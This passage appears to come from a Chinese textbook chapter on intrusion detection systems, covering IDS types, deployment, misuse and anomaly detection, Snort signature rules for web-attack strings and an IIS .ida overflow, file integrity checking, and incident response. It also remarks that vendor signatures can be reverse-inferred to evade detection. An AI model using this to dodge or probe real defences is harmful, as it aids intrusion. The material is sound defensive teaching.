多数基于网络的入侵检测系统不能确定一次攻击是否成功，它们只能检测出攻击者使用某种方法进行攻击。所以，在基于网络的入侵检测系统检测出一次攻击之后，安全管理员必须再做调查才能确定这次攻击是否已经成功地穿入系统。

一些基于网络的入侵检测系统在处理包含一些碎片包的网络攻击的时候可能会出问题。这些异常的数据包由可能会导致入侵检测系统运行不稳定，甚至崩溃。

2.基于主机的入侵检测系统

基于主机的入侵检测系统处理信息来自一台计算机系统里边（请注意，基于应用程序的入侵检测系统实际上就是基于主机的入侵检测系统的一个子集）。这个特点允许基于主机的入侵检测系统可以非常可靠和准确地分析主机上的发生入侵事件的时间，正确地指出系统上的哪些进程和用户包含在一起入侵事件内。与基于网络的入侵检测系统不同，基于主机的入侵检测系统可以通过检查系统上的文件系统、日志以及进程，判别出哪些攻击已经成功地穿入系统。

基于主机的入侵检测系统分析的信息源一般有两种：审计记录和系统日志。审计记录是操作系统的内核在操作的时候生成的，所以比系统日志有更多和更可靠的信息。然而，系统日志比审计记录要少，简单易懂，处理起来更方便。有的基于主机的入侵检测系统采用集中控制方式。在每一台主机上运行一个传感器，传感器收集本机上的信息，传输到一个控制中心集中处理。这样就实现了基于主机的集中控制模式的入侵检测系统。有的基于主机的入侵检测系统的输出格式与其他基于网络的入侵检测系统的控制中心的数据格式兼容，这样可以与该基于网络的入侵检测系统相结合。

（1）优点

基于主机的入侵检测系统可以看到主机上基于网络的入侵检测系统看不到的事件。

只要信息源被生成于数据被加密之前或者数据被解密之后，基于主机的入侵检测系统就可以在网络流量加密的环境下正常工作。

基于主机的入侵检测系统不受交换式网络的影响。

通过处理操作系统的审计记录，基于主机的入侵检测系统可以检测出特洛伊木马或者其他有关软件完整性破坏的攻击，因为，这种攻击都导致操作系统的进程调用有些矛盾。

（2）缺点

基于主机的入侵检测系统比较难管理，因为不同的系统使用不同的操作系统。在一个操作系统上运行的程序必须先编译好才能运行。

如果基于主机的入侵检测系统运行在被监控的主机上，它和主机上的应用程序公用一些系统资源，所以有时候基于主机的入侵检测系统也可能受到攻击而瘫痪。

基于主机的入侵检测系统不能很好地检测网络扫描攻击，因为，它只能看到自己主机已经收到的那些网络数据包。

基于主机的入侵检测系统没有隐蔽性，可能会受到拒绝服务（DOS）的攻击而瘫痪。

处理系统审计记录使得基于主机的入侵检测系统需要大量的系统资源，如存储空间、内存和CPU，因为审计记录的信息非常庞大。

基于主机的入侵检测系统使用本机的资源，所以影响被监控系统的性能。

3.基于应用程序的入侵检测系统

基于应用程序的入侵检测系统是基于主机的入侵检测系统的一个特殊子集。它分析由应用程序生成的事件。基于应用程序的入侵检测系统常用的信息源是应用程序处理的记录文件。

由于了解特定应用程序的行为，还与应用程序有直接接口，基于应用程序的入侵检测系统可以发现用户超越自己权限的可疑行为，这是因为这个问题常见于由用户、数据和应用程序之间的操作引起。

（1）优点

基于应用程序的入侵检测系统可以监控应用程序和用户之间的操作，所以有能力检测出哪个用户超越自己的权限。

基于应用程序的入侵检测系统一般可以在加密环境下运行。因为它和应用程序的接口一般是数据传输处理过程的终点，给用户的数据必须是非加密的。

（2）缺点

由于应用程序的记录文件受到的保护没有像操作系统的审计记录受到的保护严密，所以，基于应用程序的入侵检测系统比基于主机的入侵检测系统更容易受到攻击。

由于基于应用程序的入侵检测系统只监控应用层和用户层的事件，因此它不能检测出特洛伊木马。很多人建议使用基于应用程序的入侵检测系统与基于主机或者网络的入侵检测系统相结合。


6.1.3 入侵检测目标


虽然系统安全机制可能有很多目标，入侵检测系统通常有两个主要目标：寻找攻击源和系统恢复。

1.寻找攻击源

入侵检测系统的一个目标就是寻找入侵的发起源包括谁是入侵者、入侵事件从哪开始，并提供有效证据。通常用于事件的归档。支持这个目标的人声明：“只要找到入侵源，以后所有相关的安全问题都可以解决”。在TCP/IP网络，寻找攻击源遇到很多困难，因为，入侵者常常利用TCP/IP协议的缺点，伪造源地址的身份。

2.系统恢复

入侵检测系统的另一个目标着重于把系统恢复成正常。主要包括：发生了什么事件、事件影响的范围以及可能使用的安全缺陷有哪些。支持这个目标的人声明：“我们不关心谁是入侵者，也不关心他们攻击的动力和方法。我们只关心我们的系统受到什么损害和怎么去恢复它”。


6.1.4 入侵检测系统的部署


一个真正有效的入侵检测系统应该是基于主机和基于网络的混合。图 6.5 表示基于网络的入侵检测的位置的例子。


图6.5 基于网络入侵检测系统的位置



图 6.5 画出内部网（要保护的网络）和因特网被一个防火墙隔开。我们有四个基于网络的入侵检测系统，分别放在网络的不同位置。由于位置不同，它们的检测范围也不一样。

IDS1：第一个入侵检测系统放在防火墙的外面，它不但能检测对内部网的攻击，还能检测对防火墙的攻击。在这个位置，入侵检测系统看不到来自内部网的攻击。

IDS2：第二个入侵检测系统处理防火墙转发的数据包。防火墙在转发数据包之前，被送到入侵检测系统处理，然后再转发，这样会影响防火墙的转发功能。

IDS3：第三个入侵检测系统只检测成功地穿过防火墙的数据包。这个位置是基于网络的入侵检测系统常放的位置。

IDS4：第四个入侵检测系统放在内部网里边，它能检测对内部网的攻击（请注意，大部分攻击来自内部网）。


6.1.5 入侵检测技术分析


入侵检测系统的另一个重要概念是要用什么检测方法去分析。根据检测方法，入侵检测又可以分为两种：误用检测和异常检测。大部分现有的入侵检测工具都是使用误用检测方法。异常检测方法虽然还没有得到广泛的应用，很多人都认为，异常检测技术在未来的入侵检测系统中会有一定的发展。

误用检测技术应用了系统缺陷和特殊入侵的累积知识。入侵检测系统包含系统的缺陷并且检测出利用这些缺陷入侵的行为。每当检测到入侵，系统就报警。换句话说，不符合于规则的所有行为都被认为是非法的，所以误用检测的准确度很高。但是它的查全度（能够检测所有入侵的能力）跟入侵规则的更新程度有密切关系。

基于误用检测的入侵检测系统的一个优点是误警率很低，并且对每一种入侵都能提出详细资料，使得使用者能够更方便地做出响应。

这种方法的缺陷就是入侵信息的收集和更新的困难。这需要很多的时间和很大的工作量。另外，还需要很强的安全知识，例如攻击、操作系统版本、平台、应用程序等知识。所以这种方法适用于特殊环境下的检测工具，另外，这种方法难以检测本地入侵（例如权限滥用），因为没有一个确定规则来描述这些入侵事件。

基于异常检测技术有一个假设，就是入侵事件的行为不同于一般正常用户或者系统的行为。通过多种方法可以建立正常或者有效行为的模型。入侵检测系统在检测的时候就把当前行为和正常模型比较，如果比较结果有一定的偏离，则报警异常。换句话说，所有不符合于正常模型的行为都被认为是入侵。这种方法的查全率很高但是查准率很低。

基于异常检测的优点就是它能够检测出新的入侵或者从未发生过的入侵。它对操作系统的依赖性较小。它还可以检测出属于权限滥用类型的入侵。由于没有一个确定规则来描述这些入侵事件，因此不能用第一种方法检测。用一句话来概括，所有未见过的事件都被认为是有危险的。

过多误警是该方法的主要缺陷，这是因为系统的所有行为不可能用一些有限的训练数据来描述。并且系统行为随时改变，所以必须要有一种在线的训练机制，实时地学会被认为误警的行为，使得系统模型尽量包含不被认为是入侵的行为。

1.异常检测

异常检测识别出在主机或者网络上的异常事件或者行为。异常检测是有效的如果下面假设成立：“攻击的行为总是与正常的用户行为不同，所以通过这些不同点去检测攻击和入侵”。异常检测先在用户，系统或者网络正常操作的一段时间收集事件和行为的信息，再根据这些信息建立该用户，系统或者网络的正常模式。在检测的时候，通过某种量度，计算事件的行为偏离正常行为的程度。如果偏离程度超过一定的范围，就被认为是攻击。下面介绍几种常用的异常检测技术。

（1）极限检测

极限检测把用户和系统行为的某一特征表示成一个数值，这个数值有不同级别的可容许程度，表示用户和系统不同程度的异常。常用特征可以是：用户在一段时间只能访问的文件数目；系统允许登录错误的次数；一个进程的CPU利用率等。这个可容许程度的级别可以是静态的，也可以是动态的（例如：随着工作时间而改变）。

（2）统计异常

统计检测就是模式的参数被通过统计学习方法计算出来。统计检测通常在用户、系统或者网络行为比较复杂的统计分布中应用。统计检测需要标准的训练数据和一个好的统计学习方法。

下面简单介绍异常检测常用的一些统计学习方法。

异常检测的基本算法就是用统计模型。首先，系统对正常数据（训练数据）的各个特征进行统计，根据统计结果对每一个特征设定一个正常范围的门限。这些特征和相应的门限组成检测的统计模型。检测的时候，含有超过这个门限的特征的数据被认为是异常。

在异常检测系统中，随机过程的方法也起了很大的作用。在这样的入侵检测系统中采用了马尔科夫过程。首先，被监测的系统被定义了多种状态，系统在运行过程中，其实就是从一个状态转移到另一个状态。通过正常的训练数据，可以计算出系统各个状态之间的转移概率，再根据这个状态转移模型判断出系统在某一段时间内是否处于异常状态。这种方法一般常用于基于主机的入侵检测系统。

因为用户和系统行为的正常模式有可能变化得很复杂，异常检测的误警率很高。但是，不同于误用检测，很多研究员声明异常检测可以检测出新的攻击。

值得说明的是，异常检测的输出可以用来当做误用检测的信息源。例如：误用检测只处理异常检测已经认为是可能会包含入侵的数据，这样可以减少系统的计算量。

虽然异常检测在商业产品中运用很少，主要是用来检测网络和端口扫描。但是，异常检测留下一个可以发展的研究领域，将来会在入侵检测系统中起很大的作用。

①优点

由于异常检测只检测被认为不正常的行为，所以它可以在不知道很多安全知识的情况下，检测出攻击。

异常检测模块的输出可以用于定义误用检测的攻击特征。

②缺点

异常检测方法的误警率很高，因为用户和网络的行为变化得很复杂。

异常检测方法需要大量和良好的训练数据。这个数据比较难得到。

（3）人工智能

异常检测的另一种常用算法是神经网络。在用神经网络检测入侵的系统中，每个事件所产生的数据通过特征选择，被量化为一个向量，就是神经网络的输入数据。训练数据标志为正常数据和入侵数据两类，用来训练神经网络。训练后的神经网络可以把事件识别为正常和入侵的。一般神经网络都用在入侵检测系统的前段，检测出入侵相关的事件还要再处理。

模糊逻辑也被应用在异常检测算法当中。在这个系统中，输入数据经过简单的数据挖掘技术，产生一个入侵相关的矩阵。这个矩阵被看为一个模糊集合，这个模糊集合经过一个模糊分析器处理，产生不同程度的报警信息。这种方法也适用于网络的扫描检测和DOS攻击检测。

一种比较独特的算法就是遗传算法。在采用遗传算法的系统中，每一个数据被看成一个染色体。在某一段时刻内，所有数据的集合被看成一个群体。通过各种遗传变换，对这个群体进行优化，产生新的群体。一旦新的群体的某个特征出现异常，就认为是入侵。采用不同策略的遗传变换，可以达到不同入侵类型的检测。一般遗传算法用来检测扫描和DOS攻击。

如果把系统和网络事件空间看成一个平面，每个事件是该平面的一点。误用检测相当于描述一些特殊点，认为是入侵事件。只要发生的事件落在这些点上就是入侵，可见误用检测的查准率肯定很高，但是查全率会比较低。异常检测相当于在这个平面上划一条线，落在这条线的一边的事件就被认为是正常，而落在这条线的另一边的事件就被认为是异常，可见这种方法的查准率会很低，但是查全率会很高。并且检测出异常的事件基本上不能说明该事件属于哪一种入侵。有关这两种方法的示意图，请参考图6.6。


图6.6 误用检测和异常检测示意图




图6.7 基于分类IDS示意图



如果把正常事件归为一类，每一种入侵或者有相同特征的多种入侵事件归为某一类。这样，检测入侵的过程就是识别出发生的事件属于哪一类。如果从上述的事件空间来讲，就是在事件的空间平面上，划出若干个域，每个域对应于一种入侵或者正常事件。落在某个域的事件就认为是相应的入侵事件发生，如图6.7所示。可见，如果这些入侵域变得越来越小，这个方法就越来越靠近基于规则的，只不过我们所划分的域不是人工产生的，而是程序自动产生的。

2.误用检测

误用检测需要对已知的入侵事件提前描述。在检测的时候，如果系统的行为与入侵事件描述中匹配，则被认为是入侵。由于误用检测需要根据一组事件的签名进行匹配，所以误用检测有时候还被叫做基于签名的检测。误用检测每种攻击的行为都要用一个独立的事件签名去描述。但是，也有一些复杂的误用检测方法（例如“基于状态检测”的技术）可以用一个规则来描述一组攻击的行为。

如果防护部分已经把我们已知的所有缺陷清除掉，那么攻击者不可能利用这些缺陷进行入侵，或者尽管攻击也不可能成功。这意味着，已经成功地穿过防护系统的入侵不是利用我们已知的系统缺陷，那么误用检测，按道理，也没有这些攻击的特征，所以它也检测不到。在这个道理上，误用检测和防护部分所作的工作有一点重复。不过，误用检测并不是白白的检测，它可能检测不到未知的入侵但是它可以检测到一些不成功的攻击（已知的），这就是入侵的前兆。

（1）优点

误用检测是一种非常有效的检测方法，这种方法的误检率很低。

误用检测可以提供攻击的详细信息，帮助管理员追踪安全问题和进行简单的事件处理。

（2）缺点

因为误用检测只能检测出已知的攻击，所以必须经常更新事件签名描述库。这个工作一般都是手工的，需要很多时间和需要比较深的安全知识。

误用检测的查全率不高。为了降低误检率，误用检测的事件签名被定义得非常准确，这导致检测攻击的范围被缩小。基于状态的检测技术可以克服这个问题，可是它还不是一个很成熟的技术。

其实，目前的IDS 不管厂商如何宣传，它们产生事件报警的本质都是模式匹配，所谓的协议分析（有的称为协议解析）也就是用来提高匹配的效率，或者有的提供命令解释器来模拟某些协议的命令语法，这样来提高IDS的反躲避能力。IDS的模式匹配即通过对数据包的分析，并匹配自身的规则库，如果能够匹配就产生事件报警或者保留准备更多相关情况的分析，否则就丢弃（即便是属于攻击）。模式匹配并不仅仅局限于字符串的匹配，包括下面的匹配类型。

（1）协议匹配

通过协议分析模块，将数据包按照协议分析的结果对协议相应的部分进行检测。比如，TCP包的标志位、协议异常等。例如，snort中一条事件定义：

alert tcp $EXTERNAL_NET any-＞$HOME_NET any (msg:"SCAN NULL";flags:0;seq:0;ack:0;reference:arachnids,4; classtype:attempted-recon; sid:623; rev:1;) 其中就对TCP 的flags、seq、ack进行了协议位置的匹配。

协议匹配需要对特定协议进行分析，Snort 对IP/TCP/UDP/ICMP进行了分析，但是没有对应用协议进行分析。高层的应用协议分析，可以显著地提高匹配的效率，比如对TDS协议的分析能够准确地定位账号和密码位置。

（2）字符串匹配

目前这是大多数IDS 最主要的匹配方式，事件定义者根据某个攻击的数据包或者攻击的原因，提取其中的数据包字符串特征。通常IDS 经过协议分析后，进行字符串的匹配。

比如：Snort 中的一条事件定义，alert tcp $EXTERNAL_NET any -＞ $HTTP_SERVERS$HTTP_PORTS (msg:"WEB-ATTACKS ps command attempt";

flow:to_server,established; uricontent:"/bin/ps"; nocase;

sid:1328; classtype:web-application-attack; rev:4;)，该事件中要进

行匹配的字符串就是"/bin/ps"。

字符串匹配主要就是算法问题，因为IDS 的规则多数属于字符串匹配，所以优秀的字符串匹配算法也能够显著提高IDS的效率，比如Boyer-Moore 、Aho-Corasick 、Set-wise

Boyer-Moore算法。

（3）长度匹配

多数情况下，这也应该属于字符串匹配的一种，不过，这种匹配方式对数据包中某段数据的长度而不是对具体的字符串进行匹配。比如，通过数据长度限制来对缓冲区溢出攻击进行检测。

比如：alert tcp $EXTERNAL_NET any -＞ $HTTP_SERVERS $HTTP_PORTS

(msg:"WEB-IIS ISAPI .ida attempt"; uricontent:".ida?"; nocase;

dsize:＞239; flow:to_server,established; reference:arachnids,552;

classtype:web-application-attack; reference:bugtraq,1065;

reference:cve,CAN-2000-0071; sid:1243; rev:6;)

其中的关键字dsize就是对数据包的负载进行匹配，如果请求的命令总长度大于239，那么就检测出一条.ida溢出企图的事件。

（4）累积匹配

累计匹配或者数量匹配。通过对某些事件出现的量（次数或者单位时间次数）来产生新的事件，比如，某个IP在1分钟内报出了100条CGI 事件，那么就属于一次CGI扫描事件。

（5）逻辑匹配

逻辑匹配或者是集合匹配。一些有更强事件检测能力的 IDS，通过对不同类型的事件组合来进行判断，从而获得新的事件。少数IDS对多种事件的组合来构成逻辑推理，增强检测的智能。

累积匹配和逻辑匹配都是建立在对初级事件检测基础上进行的，都是通过将原始事件的某些组合来构成新的事件，因此不可能出现在老式IDS架构中，除非其中增加对事件的多次分析过程。

Snort主要进行的是协议匹配、字符串匹配和长度匹配，而检测引擎中没有两次或者多次匹配的过程，也就是累计匹配和逻辑匹配，因此它不能检测分布事件，不能确定哪些事件是成功的，也不能检测流量异常，而只能通过端口协议字符串等来检测那些具有字符串数据特征的特定拒绝服务攻击工具的事件，这可以从Snort的DDOS规则集看得出来。当然Portscan和Stream4等预处理器的增加为Snort在累计匹配和逻辑匹配上有一些表现，比如，Portscan预处理器可以跟踪端口扫描事件的速率问题。

单从 Snort 提供的规则也可以得到上面的结果，因为规则中所体现的基本都是对 IP、ICMP、TCP、UDP 这样的三、四层上的协议进行了解析，而对更上面的协议，比如第七层的应用协议等基本没有作协议分析（除了数据的Request 部分），这些规则中也主要进行的前三种方式的单包匹配。

当然这里的重点不是在匹配算法上，而更看重整个检测的结构和过程。首先能够看到的问题就是snort的规则树型结构过于简单，也就造成可能某些RTN下的OTN链比较庞大； 没有对高层协议分析也是一个大问题，因为协议分析可以更有效地定位匹配位置，加快匹配速率，所以现在很多IDS使规则树更平坦，尽量让深度和宽度不失调，同时进行高层协议分析，这一代的IDS结构也就基本如此了。同时，有些IDS 采用多层引擎的方式，来实现和加强累计匹配和逻辑匹配的检测能力。其实，现在 Snort 的结构发展也基本是对这些问题的解决和发展。

因为负责任的事件定义需要对入侵进行详细分析，这些入侵的分析基本结果都很相近，比如溢出攻击的长度，某种攻击中的数据特征等，所以可能各个厂商的事件大同小异，但是，可能就是这些小小的差别就能看出不少端倪。虽然多数商业IDS 的事件定义是不公开的，但是可以通过构造类似特征来猜测，并逆向推理真实的事件定义内容，因为IDS都总是使用上面介绍的匹配方法来作检测的。

3.文件完整性检查

文件完整性检查系统检查计算机中自上次检查后文件变化情况。文件完整性检查系统保存有每个文件的数字文摘数据库，每次检查时，它重新计算文件的数字文摘并将它与数据库中的值相比较，如不同，则文件已被修改，若相同，文件则未发生变化。

文件的数字文摘通过Hash函数计算得到。不管文件长度如何，它的Hash函数计算结果是一个固定长度的数字。与加密算法不同，Hash算法是一个不可逆的单向函数。采用安全性高的Hash算法，如MD5、SHA时，两个不同的文件几乎不可能得到相同的Hash结果。从而，当文件一被修改，就可监测出来。在文件完整性检查中功能最全面的当属 Tripwire，其开放源代码的版本可从www.tripwire.org中获得。

文件完整性检查系统的优点有：

从数学上分析，攻克文件完整性检查系统，无论是时间上还是空间上都是不可能的。文件完整性检查系统是非常强劲的监测文件被修改的工具。实际上，文件完整性检查系统是一个监测系统是否被非法使用的最重要的工具之一。

文件完整性检查系统具有相当的灵活性，可以配置成为监测系统中所有文件或某些重要文件。

当一个入侵者攻击系统时，他会干两件事，首先，他要掩盖他的踪迹，即他要通过更改系统中的可执行文件、库文件或日志文件来隐藏他的活动；其次，他要做一些改动保证下次能够继续入侵。这两种活动都能够被文件完整性检查系统监测出。

文件完整性检查系统的弱点是：

文件完整性检查系统依赖于本地的文摘数据库。与日志文件一样，这些数据可能被入侵者修改。当一个入侵者取得管理员权限后，在完成破坏活动后，可以运行文件完整性检查系统更新数据库，从而瞒过系统管理员。当然，可以将文摘数据库放在只读的介质上，但这样的配置不够灵活。

做一次完整的文件完整性检查是一个非常耗时的工作，在Tripwire中，在需要时可选择检查某些系统特性而不是完全的摘要，从而加快检查速度。

系统有些正常的更新操作可能会带来大量的文件更新，从而产生比较繁杂的检查与分析工作，如，在Windows NT系统中升级MS-Outlook将会带来1800多个文件变化。


6.1.6 入侵检测后的响应


一旦入侵检测系统发现攻击或者入侵，它们会有一定的响应。这些响应包括相关入侵的报告文档、追踪入侵发起源和入侵者。有的入侵检测系统具有自动响应功能。虽然不受到很多研究员的重视，响应工作却是一件很实际和十分重要的事。入侵检测商业产品一般都有多个响应选项，一般可分成主动响应和被动响应或者两者的混合。

1.主动响应

入侵检测系统的主动响应就是当一次攻击或入侵被检测到，检测系统自动作出一些动作。主动响应分成三类：

（1）收集相关信息

一种最基本但最花时间的主动响应就是再一次深入地收集可疑攻击和入侵的有关信息。在生活当中，当夜里被一个奇怪的声音吵醒，我们可能也会做一个类似于这种响应的工作。在这种情况下，每个人一般都想办法靠近发出声音的地方，听得更清楚，收集、理解相关信息再决定采取什么行动。

在入侵检测系统的场合上，这种响应一般是检查一些敏感的信息源（例如，查看操作系统审计记录的事件，查看网络上的数据包等）。收集相关信息并总结出多种可能的原因。这些相关信息可以帮助用户确定入侵事件的状态（特别是确定攻击是否成功地穿入用户的系统）。这个选项也帮助调查入侵者的身份，提供入侵行为的法律证据。

（2）改变环境

另一种自动响应就是中断攻击过程和阻止攻击这的其他行动。通常，入侵检测系统没有能力阻止一个人的行为，但是它可以封闭这个人可能使用的IP地址。封闭一个有经验的攻击者是一件很困难的事，下面的行动可以阻止新手攻击者，对有经验的攻击者有一定的限制。

在攻击者和受害系统的连接中插入TCP Reset包。根据TCP/IP协议，连接就被终止。

重新配置路由器和防火墙，禁止来自攻击者的IP地址的包。

重新配置路由器和防火墙，禁止攻击者访问文件系统的网络端口和服务。

（3）反击攻击者

有些人认为，入侵检测系统的主动响应的第一选项应该是反击攻击者。这种响应包括反攻击攻击者的主机或者网站，或者利用攻击方法去收集攻击者身份的信息。但这不是一个对的主意！在一个没有明确的法律的网络环境下，这样的措施可能有很大的风险。

第一个原因就是反攻击别的主机可能是非法的行为；此外，很多攻击者使用假的网络地址，所以反攻击很可能会伤害无辜；最后，反击攻击者有可能会把情况弄得更坏，攻击者本来只是想浏览一下用户的站点，一旦受到反攻击后，可能会采取一些其他的行动。

我们建议这个选项不应该随意使用。虽然是自动响应，但管理员也要有一定的监控和控制。

2.被动响应

被动响应提供攻击和入侵的相关信息，再由管理员根据所提供的信息采取适应的行动。这种响应方法是很多入侵检测系统商业产品的选择。

（1）报警和告示

当攻击被检测出来，入侵检测系统作出报警和告示通知管理员或者使用者。大多数入侵检测系统的商业产品允许使用者灵活地决定系统在什么场合上作出报警和通知给谁。

一种常用的报警就是在屏幕上打出报警或者弹出报警窗口。这些报警在入侵检测系统的控制台还是其他地方显示由管理员在安装、配置的时候指定。报警信息有各种形式，简单的就是什么入侵事件发生，详细的就是攻击者的身份、使用的攻击工具和入侵造成的危害。

另一种报警和告示是通知给多个远程管理员和有关组织。有的入侵检测系统允许用户选择在紧急响应的时候使用的通知方式：呼机和手机。

有的产品提供电子邮件的通知方式。这种通知方式不是很安全，因为，攻击者经常能监视到电子邮件系统，甚至可以阻止它。

（2）SNMP协议通知

有的入侵检测系统类型的商业产品提供报警和告示通知给网络管理系统。这些消息使用SNMP协议作出报警和告示。SNMP协议是网络管理系统所使用的协议，所以网络管理系统的组件和管理员可以对入侵检测系统的报警信息进行操作。使用这种报警方式有很多好处，包括允许整个网络参与到入侵检测和响应过程。另一个好处就是可以很快地把入侵事件通知到入侵发起源的负责机构，让他们协助调查和处理。

很多入侵检测系统类型的商业产品提供定期事件报告文档。有的允许用户选择要报告的期间（如一个星期、一个月等）。有的还提供入侵事件的统计数据，甚至提供标准的数据库接口，让用户使用其他数据统计的软件包。

在选择入侵检测系统的时候，还有一个重要问题要考虑就是入侵检测系统的健壮性能。健壮性能意味着入侵检测系统本身受到攻击的时候，可以保护自己。这个性能一般体现出标准系统管理工具和一般安全管理工具的区别。

在响应的时候，健壮性能也要考虑在内。例如，入侵检测系统要求隐蔽地监视攻击者的行为。如果检测到攻击的时候，入侵检测作出的报警引起攻击者的注意，例如在网络上广播文本消息。因此就暴露出入侵检测系统的存在。这样可能使情况变得更坏，因为攻击者可以把入侵检测系统作为它的攻击目标。

为了保证入侵检测系统的安全响应，入侵检测系统最好使用安全、加密和加以认证的通信机制。


6.1.7 数据协同


入侵检测需要采集动态数据（网络数据包）和静态数据（日志文件等）。基于网络的IDS，仅在网络层通过原始的IP包进行监测，已不能满足日益增长的安全需求。基于主机的IDS，通过直接查看用户行为和操作系统日志数据来寻找入侵，却很难发现来自底层的网络攻击。

目前的IDS将网络数据包的采集、分析与日志文件的采集、分析割裂开来，即使是综合基于网络和基于主机的IDS也不例外，没有在这两类原始数据的相关性上作考虑。此外，在网络数据包的采集上，IDS 一直是通过嗅探这种被动方式来获取数据，一旦某个数据包丢了就无法挽回。而且，将来的网络是全交换的网络，网络速度越来越快，许多重要的网络还是加密的。在这种情况下，对网络数据包这种动态数据的采集就显得更加困难了。因此，在数据采集上进行协同并充分利用各层次的数据，是提高入侵检测能力的首要条件。

数据采集协同有两个很重要的方面：

（1）IDS 与漏洞扫描系统的协同：漏洞扫描系统的特点是利用完整的漏洞库，对网络中的各个主机进行扫描，对主机所存在的网络、操作系统和运行的应用存在的漏洞给出综合报告，然后提出漏洞的修补办法，并最终给出风险评估报告。IDS 与扫描系统的协同的一个方面是可以利用扫描系统的扫描结果，对目前网络或系统和应用所存在的漏洞做到心中有数，然后利用扫描结果对预警策略进行修改，这样既可以尽可能地减少误报，也可能对隐含在正常行为中的攻击行为做出报警。另一方面，IDS 也可以利用对日常警报信息的分析，对漏洞扫描系统的扫描策略进行修改，然后进行预约扫描，对目前可能正在遭受攻击的漏洞进行及时的防范。同时，漏洞扫描系统也可以利用IDS的报警信息，对有些主机的进行特定漏洞的扫描，查看正在受攻击的漏洞是否真的存在，如果真的存在，做出必须及时封堵的报告。

（2）IDS 与防病毒系统的协同：对越来越多来自网络的病毒攻击，IDS 可能根据某些特征做出警告，但由于IDS本身并不是防病毒系统，对网络中的主机是否真的正在遭受计算机病毒的袭击并不能非常准确地预报，这时防病毒系统就有了用武之地，可以有针对性地对IDS的病毒报警信息进行验证，对遭受病毒攻击的主机系统进行适当的处理。

1.数据分析协同

入侵检测不仅需要利用模式匹配和异常监测技术来分析某个监测引擎所采集的数据，以发现一些简单的入侵行为，还需要在此基础上利用数据挖掘技术，分析多个监测引擎提交的审计数据以发现更为复杂的入侵行为。

理论上讲，任何网络入侵行为都能够被发现，因为网络流量和主机日志记录了入侵的活动。数据分析协同需要在两个层面上进行，一是对一个监测引擎采集的数据进行协同分析，综合使用监测技术，以发现较为常见的、典型的攻击行为; 二是对来自多个监测引擎的审计数据，利用数据挖掘技术进行分析，以发现较为复杂的攻击行为。考核IDS数据分析能力可以从准确、效率和可用性三方面进行。基于这一点，可以认为，监测引擎是完成第一种数据分析协同的最佳地点，中心管理控制平台则是完成第二种数据分析协同的最佳地点。

当监测引擎面对并非单一的数据时，综合使用各种监测技术就显得十分重要。从攻击的特征来看，有的攻击方法使用异常监测来监测会很容易，而有的攻击方法使用模式匹配来监测则很简单。因此，对监测引擎的设计来说，首先需要确定监测策略，明确哪些攻击行为属于异常监测的范畴，哪些攻击属于模式匹配的范畴。中心管理控制平台执行的是更为高级的、复杂的入侵检测，它面对的是来自多个监测引擎的审计数据。它可就各个区域内的网络活动情况进行“相关性”分析，其结果为下一时间段及监测引擎的监测活动提供支持。例如黑客在正式攻击网络之前，往往利用各种探测器分析网络中最脆弱的主机及主机上最容易被攻击的漏洞，在正式攻击之时，因为黑客的“攻击准备”活动早已被系统记录，所以IDS就能及时地对此攻击活动做出判断。目前，在这一层面上讨论比较多的方法是数据挖掘技术，它通过审计数据的相关性发现入侵，能够监测到新的进攻方法。

传统数据挖掘技术的监测模型是离线产生的，就像完整性监测技术一样，这是因为传统数据挖掘技术的学习算法必须要处理大量的审计数据，十分耗时。但是，有效的IDS必须是实时的。而且，基于数据挖掘的IDS仅仅在监测率方面高于传统方法的监测率是不够的，只有误报率也在一个可接受的范围内时，才是可用的。

美国哥伦比亚大学提出了一种基于数据挖掘的实时入侵检测技术，证明了数据挖掘技术能够用于实时的 IDS。其基本框架是: 首先从审计数据中提取特征，以帮助区分正常数据和攻击行为；然后将这些特征用于模式匹配或异常监测模型；接着描述一种人工异常产生方法，来降低异常监测算法的误报率；最后提供一种结合模式匹配和异常监测模型的方法。实验表明，上述方法能够提高系统的监测率，而不会降低任何一种监测模型的效能。在此技术基础上，实现了数据挖掘的实时IDS则是由引擎、监测器、数据仓库和模型产生四部分构成。其中，引擎观察原始数据并计算用于模型评估的特征; 监测器获取引擎的数据并利用监测模型来评估它是否是一个攻击；数据仓库被用作数据和模型的中心存储地；模型产生的主要目的是为了加快开发以及分发新的入侵检测模型的速度。

2.响应协同

前面已经论述，由于IDS在网络中的位置决定了其本身的响应能力相当有限，响应协同就是IDS与有充分响应能力的网络设备或网络安全设备集成在一起，构成响应和预警互补的综合安全系统。响应协同主要包含下面的几个方面。

（1）IDS与防火墙的协同

防火墙与IDS可以很好地互补，这种互补体现在静态和动态两个层面上。静态的方面是IDS 可以通过了解防火墙的策略，对网络上的安全事件进行更有效的分析，从而实现准确的报警，减少误报；动态的方面是当IDS发现攻击行为时，可以通知防火墙对已经建立的连接进行有效的阻断，同时通知防火墙修改策略，防止潜在的进一步攻击的可能性。

（2）IDS与路由器、交换机的协同

由于交换机、路由器和防火墙一样，一般串接在网络上，同时都有预定的策略，可以决定网络上的数据流，因此IDS与交换机、路由器的协同与IDS同防火墙的协同非常相似，都有动态和静态两个方面，过程也大致相同，这里不做详细的论述。

（3）IDS与防病毒系统的协同

IDS 与防病毒系统的协同在数据采集协同中已经进行过论述，但实际上对防病毒系统来讲，查和杀是不可或缺的两个方面，在查的层面有数据采集协同，在杀的层面有响应协同。如果说IDS还可以通过发送大量RST报文阻断已经建立的连接，某种程度上代替防火墙的响应机制的话，在防止计算机遭受病毒袭击方面简直是无能为力，目前由于网络病毒攻击占所有攻击的比例不断增加，IDS与防病毒系统的协同也变得越来越重要。

（4）IDS与蜜罐和填充单元系统协同

有一些工具可以作为IDS的补充，由于它们的功能相似，销售商常把它们也表示为IDS。但实际上这些工具的功能是相当独立的，所以这里不把它们当做IDS的组成部分讨论。而是对其功能进行简单介绍，同时介绍这些工具如何与IDS协同，共同增强一个组织的入侵检测能力。

蜜罐：是试图将攻击者从关键系统引诱开的诱骗系统。这些系统充满了看起来很有用的信息，但是这些信息实际上是捏造的，诚实的用户是访问不到它们的。因此，当监测到对“蜜罐”的访问时，很可能就有攻击者闯入。“蜜罐”上的监控器和事件日志器监测这些未经授权的访问并收集攻击者活动的相关信息。“蜜罐”的目的是将攻击者从关键系统引开，同时收集攻击者的活动信息，并且怂恿攻击者在系统上停留足够长的时间以供管理员进行响应。

利用“蜜罐”的这种能力，一方面，可以为IDS提供附加数据，另一方面，当IDS发现有攻击者时，可以把攻击者引入“蜜罐”，防止攻击者对系统造成危害，并收集攻击者的信息。

